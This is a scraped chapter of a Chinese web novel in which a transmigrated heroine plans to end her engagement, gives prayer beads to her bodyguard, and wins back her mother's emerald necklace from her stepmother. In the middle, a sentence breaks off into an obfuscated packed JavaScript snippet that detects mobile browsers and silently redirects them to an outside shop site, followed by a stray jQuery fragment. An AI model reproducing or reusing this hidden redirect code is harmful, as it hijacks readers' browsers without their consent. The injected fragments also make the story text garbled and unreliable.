文趣网 > 其他小说 > 当我绑定反派女配系统 > 17. 第 17 章
    不太安稳的一觉,醒来身上似乎都还有雨林里湿重黏腻的感觉,昨晚也不算太热啊。真是见鬼了……

    植雨遮了遮刺眼的光,低低咒了一声。都怪昨天忘了关闭室外阳光系统,早上七点的阳光就已经明晃晃地透过巨大单向玻璃穿进来。

    本来还想赖一下床,脑海中突然浮现萧意雪昨晚递给她的“邀请函”。

    她周末就要举办生日宴了,自己可不能坐以待毙了。

    原主母亲的遗物,就算不属于她,那也不能便宜了那两母女。揉着脑袋坐了起来,她忽然觉得腰有些痛,撩开衣角一看,白腻腻的肌肤上竟有一块骇人的青乌。她什么时候撞到腰了?

    嘶……

    还真是后知后觉的痛。

    小时候也经常腿碰青了也不知道什么时候碰的,在哪儿碰的。没想到这么大了,也还是这么马虎。

    植雨摇了摇头。

    换上了昨天艾玛帮她买的另一套衣裙,墨绿色的礼服长裙,较昨天的衣裙更加保守,长长的裙摆遮住了细白的双腿,掐腰的设计展现出纤细的腰身。

    墨绿色衬得这具身体的皮肤更加嫩白。

    只是脖子上空荡荡的,像缺少了鲜花点缀的一片绿色旷野,少了些生机。

    植雨嘴角微勾,她今天就是去讨这缺了的东西的。在此之前她得先联系一下她的“未婚夫”。

    希利尔性格温柔但架不住原主天天光脑通讯轰炸,最后不得已拉黑了原主,现在只能联系他身边的助手里昂。

    光脑响了好几次对方才接通,为了不被对方挂断,植雨长话短说,“里昂,请你转告太子殿下,我想同他商量解除婚约的事,据我说知,他也有这样的想法不是吗?”

    “解除……婚约?”里昂的声音明显变了调,屏幕里的表情也迟滞一瞬,然后眼中难掩震惊,好似这件事由她提出很不可思议似的。

    “这不会又是你想见殿下编织的谎言吧?跟你说了,殿下真的很忙,今天才见了W星的使者。”里昂扶着额头,似乎颇为无奈。

    “真的不是谎言,我是真的想要解除婚约,并且我从此以后再也不纠缠殿下了,我发誓!”

    最近这位侯爵小姐的名声越来越差,皇室确实也有了解除婚约的想法,她既然这么说,殿下如果愿意的话见一面谈一谈也好。

    看着少女举起的四根白皙手指和抿紧的红唇,里昂略一思忖,叹了一口气,“我会禀告殿下的,如果有时间,他会联系你的。”

    成了!植雨在心底欢呼。只要里昂肯递话,那位心软的太子殿下有很大可能会同意见她一面。

    挂断了光脑,植雨又点开了卫戍的通讯。

    “谁?”信号链接的瞬间,卫戍沙哑疲惫的嗓音如砂纸磨砂过耳膜一般传了过来,他眼底覆着一层淡淡的青黑,眉眼间尽是倦态,显然是昨夜歇息得极晚。

    对了!昨天他还送陈医生回去,他回到家应该都很晚了。

    她有点心虚,感觉自己好像那个黑心老板周扒皮。“那个……抱歉吵醒了你,你是还没醒吗,要不你再睡会儿?”

    听到她的声音,卫戍猛地抬头,看到光脑投射的立体图像里,她双眼清澈得好像湖泊,透过光脑与他对视。

    卫戍急忙拉过铺盖,将裸露的上半身遮住。

    “我没事。”他不着痕迹侧过头,试图掩饰自己微慌乱的神情。

    “我想要回一趟侯爵府,你昨天睡太晚,不然还是……”

    “我马上过来。”他冷酷地打断她的话语。

    挂断通讯不过短短十余分钟,卫戍便已然抵达公寓楼下。

    他快步上楼推门而入,一身整洁的黑色制服堪堪压下眼底的疲惫,可眉宇间的倦意依旧难以遮掩。

    可当他抬眼看清屋内盛装而立的少女时,所有的疲惫瞬间尽数凝滞。

    植雨今天穿了一身苔藓绿的礼服裙,露出雕塑一般流畅完美的背部线条。剪裁贴合着她的躯体,像流水一般泛着波纹样的光泽。

    卫戍看了一眼,眼中闪过一丝亮色,在她走近时已经挪开了眼。

    她今天盛装打扮是为了什么?

    是那家人又做什么了?他眉头不由得一蹙,神色也凝重起来。

    植雨心底微微忐忑,自己这个主顾是不是太难对付了,他定然是觉得自己太烦,不分时间随意召唤他,扰了他的休息,所以心生不悦。

    这脸色,简直生人勿近。

    一路乘车奔赴侯爵府的途中,车厢气氛安静如鸡。植雨大气也不敢喘。

    只是时不时撇过他笔直的后背,心中纳罕,这么生气飞船还开这么稳,真的是敬业呢。

    那视线像偷偷觅食的小鸟,一会儿停留,一会儿又消失不见……琢磨不定,让卫戍的背像化石一般僵化了,不敢挪动一点。生怕惊吓了那只胆小的雀儿。

    十几分钟的路程,像被拉到了几个小时那么长,知直到飞行器抵达府邸门口,缓缓停稳,卫戍才微微动了动僵硬的脖颈,“小姐,到了。”

    一直假装望着窗外的植雨微微松了一口气,解开安全带,看着一脸疲惫面色冷郁的卫戍,抬手取下了手腕间贴身佩戴的佛珠串——颜色是深檀色,配他刚刚好。

    那串佛珠被她贴身戴着,浸染着她的体温,温润光洁,带着淡淡的暖意,是她穿越以来假托神佛,寄予回到未来的念想,也是她用来求心安、祈顺遂的寄托。

    她微微侧身,抬眼看向身侧神色依旧沉静的男人,语气轻柔又真诚,带着小心翼翼的暖意:“我知道你总是四处奔波,时常要处理很多危险的事。”

    “昨天麻烦你忙前忙后,今天又扰了你休息。”

    植雨将温热的佛珠轻轻递到他掌心,认真道:“这个送给你,戴着它,愿你岁岁平安,事事顺遂,永远平平安安。”

    微凉的指尖不经意擦过他的掌心,像是一颗石子投入了平静无波的水面,引起水面阵阵涟漪。

    佛珠触感温润细腻,残留着少女朝夕相伴的体温,沉甸甸压在掌心,更滚烫地砸进心底。

    一瞬间,所有的疲惫、沉郁、顾虑尽数消散。

    紧绷的心脏骤然被填满,滚烫的情愫从心底疯狂翻涌上来,顺着血脉蔓延至四肢百骸,连耳尖都悄然泛红。

    “谢谢。”他僵硬地道了声谢,眼睛却不敢认真看她一眼。

    植雨朝他挥了挥手,“你就在这儿等着吧,我应该会很快回来的。我去拿回属于我的东西!”

    卫戍看着她匆匆远离的背影,五指渐渐蜷紧,将佛珠纳入掌心,似乎恨不得将这份美好拓印进血肉里。

    植雨回到伯爵府,进门的一瞬间,所有人的动作一顿。

    好像她本不该出现似的。

    第一个出现阻拦她的是她的“好弟弟”植临。

    “你怎么回来了?”

    “这是我家,你问的什么话,我怎么不能回来?”植雨侧头一笑。

    “你……”

    沈漪柔及时捂住了他的嘴,“小临口无遮拦,植雨你别介意,这几天你夜不归宿,小临也是关心你。”

    嚯,直接给她扣了个夜不归宿的帽子。

    植雨装作天真地瞪大了眼睛,“如果我住自己的房子里也算夜不归宿,那意雪去同学家过夜算什么?”

    沈漪柔脸色骤变,维持的温柔面容险些碎裂,这时植明诚从楼梯上走了下来,“植雨,怎么跟你沈姨说话的!有家不回,自己住那边去干什么,不知道的还以为我苛待你了!”

    “父亲,我住那边可是有原因的。”植雨假意垂下头,脸上泛起红晕,“其实我住过去是因为太子殿下,这边过去离宫殿太远了点,本来殿下时间就紧,我不想让殿下久等。”

    “什么?”沈漪柔不可置信地瞪大了眼,“你意思是太子殿下约你见面?”

    这桩婚约本来就是源于老皇帝被植雨的外公救了一命,这才将未来太子妃的位置许给了植雨。随着老皇帝的病逝,新皇登基,这个约定本来就不再稳固,加上近年植雨越发声名狼藉,皇室明明就已经有了毁掉婚约的打算。

    怎么会突然对植雨示好?

    不可能!

    她一定在说谎!

    尖锐的指甲深深陷入了手心,沈漪柔对视上那双狐狸般狡黠上挑的眼睛。

    “我与殿下有婚约,他见我不是正常的吗?”

    “这是真的吗?”植明诚脸上难得带了笑意,“殿下见你聊了什么?”

    “自然是聊婚约的事情。”植雨白皙的指尖绕着乌亮发尾,“这两天太子殿下就要让我进宫,我已经买好了礼服,可是就是找不到搭配的珠宝。”

    植明诚听闻婚约有履行的可能,眼睛一亮,这些年他找了许多办法接近那些皇族,但那些人无意不是拿鼻孔看人,他的侯爵在很多人眼里来得名不正言不顺,他眼中的阴翳一闪而过,只要他的女儿能嫁给太子,那他就是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970705|214512||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    国丈,到时候那些人还不得舔着脸贴上来。

    “既然是去见太子殿下,打扮得隆重些。”植明诚大手一挥,“你母亲不是留下许多珠宝吗,你随便去挑。”

    “谢谢爸爸!”植雨笑得眉眼弯弯,对视上沈漪柔的一瞬间才露出本来藏起来的刺。

    “我想起来了,母亲有套首饰,配这套礼服正合适呢。”

    沈漪柔心头一跳,不详的预感笼罩心头。

    “就是母亲那套祖母绿的宝石项链,我记得以前您觉得我小,怕我弄丢,让沈姨帮我保管了。我觉得那套就正好。”

    “可是那套……”沈漪柔正要拒绝,植雨却一惊一乍地握住了她的手,“怎么了,难道沈姨弄掉了?”

    “那倒没有……”沈漪柔皱了皱眉,“只是……”

    “吓死我了,我就说沈姨做事最稳妥了!没掉就好,毕竟什么事能比进宫见殿下重要呢!沈姨先给我吧,万一殿下突然光脑通讯,我来不及回来取就不好了。”

    植雨伸出了手。

    沈漪柔低垂的眉眼里闪过一丝不易察觉的暗色。

    “母亲!”正在试穿生日礼裙的萧意雪也听到了两人的交谈,提着裙角便跑了出来,神色紧张地看着沈漪柔。

    她身上草绿色的生日礼裙衬得她好似森林中的精灵,脖子上试戴的正是那套祖母绿宝石。

    “哎呀,原来是妹妹戴着了,我还真不知道,可是重新订做礼裙已经来不及了。”植雨作出为难的样子,“如果早知道我就不会选和妹妹差不多的颜色了。”

    “你!”萧意雪已经装不了一点,质问的话语即将脱口而出的瞬间,沈漪柔抬头,朝她警示地递了个眼神。

    片刻间,她脸上又挂上了得体的笑意,温柔道,“植雨你看,你妹妹后天就要生日了,你说太子殿下约你这两天见面,那应该是还没确定日子。你就先让妹妹戴着,等日后你要用再给你好吗?你放心,一旦太子殿下召唤,我会雇最快的飞行器提前送达,绝对不误了事。”

    沈漪柔果然棋高一着,植雨后槽牙咬紧,只要生日那天当着那么多人面沈漪柔将首饰送给萧意雪,她日后用外人也只当那是萧意雪施舍给她的。

    手腕处突然传来光脑微微的颤动提醒。

    随着一道蓝色的光闪过,里昂的声音出现在光脑里,“皇宫的门禁已经发给你了,后天早点来。”

    Yes!

    看着沈家母女骤然苍白的脸色,植雨捂住了胸口,一副惊诧的模样,“怎么会这样,竟然和妹妹生日同一天!既然妹妹生日要用,我便不戴了吧。”植雨擦了擦眼角并不存在的泪水。不就是装茶吗,谁不会似的。

    “胡闹!”植明诚黑沉着脸大喝一声。

    本来他以为意雪是个乖巧的,但刚刚露出的恨意却让他有些不舒服,植雨好歹也是他的女儿。

    一条项链,而且本来就是植雨母亲留给她的。以前以为植雨只会闯祸,所以才让漪柔代为保管,但她最近却是消停不少,看着懂事多了,看来是真的长大了,懂得为父母着想了。这项链怎么能不给她?

    进宫见太子殿下的事明显更重要。

    心中的天平一偏,植明诚立马做了决定,“意雪再重新选一款首饰吧,如果实在没有合心意的,就从我的账户里出,重新挑一款。”

    “父亲……”萧意雪眼角挂着泪,震惊地望向植明诚。

    植明诚看向沈漪柔,“意雪的生日,你好好操办,多请几家勋贵来。”

    “好的。”沈漪柔嘴角僵硬地牵动,手垂了下去,宽大的袖筒遮住了一双因愤恨而颤抖的手。

    凭什么……她女儿凭什么什么都要让给植雨!

    明明她只是扶不上墙的一摊烂泥!

    “可是母亲明明答应我了……”

    “意雪!”沈漪柔蓦地打断她,意识到自己声音带着一种不相符的狂暴,她急忙将声音又软了下去,“你爸爸说得对,一切以姐姐为重,你的生日妈妈会替你再挑一款更好的。”

    “小姐!”在一群佣人的惊呼声里,萧意雪狠狠将首饰丢到了蓝丝绒的礼盘里。

    植雨双眼适时露出了些许惊愕和歉意,被手心遮挡的唇角却悄悄勾起。

    真难得啊,萧意雪这次没有继续演可怜小白花,想必她已经气得失去了理智……

    不止是她,沈漪柔似乎也气得不轻。

    到嘴的鸭子又飞了,可不得难受许久吗?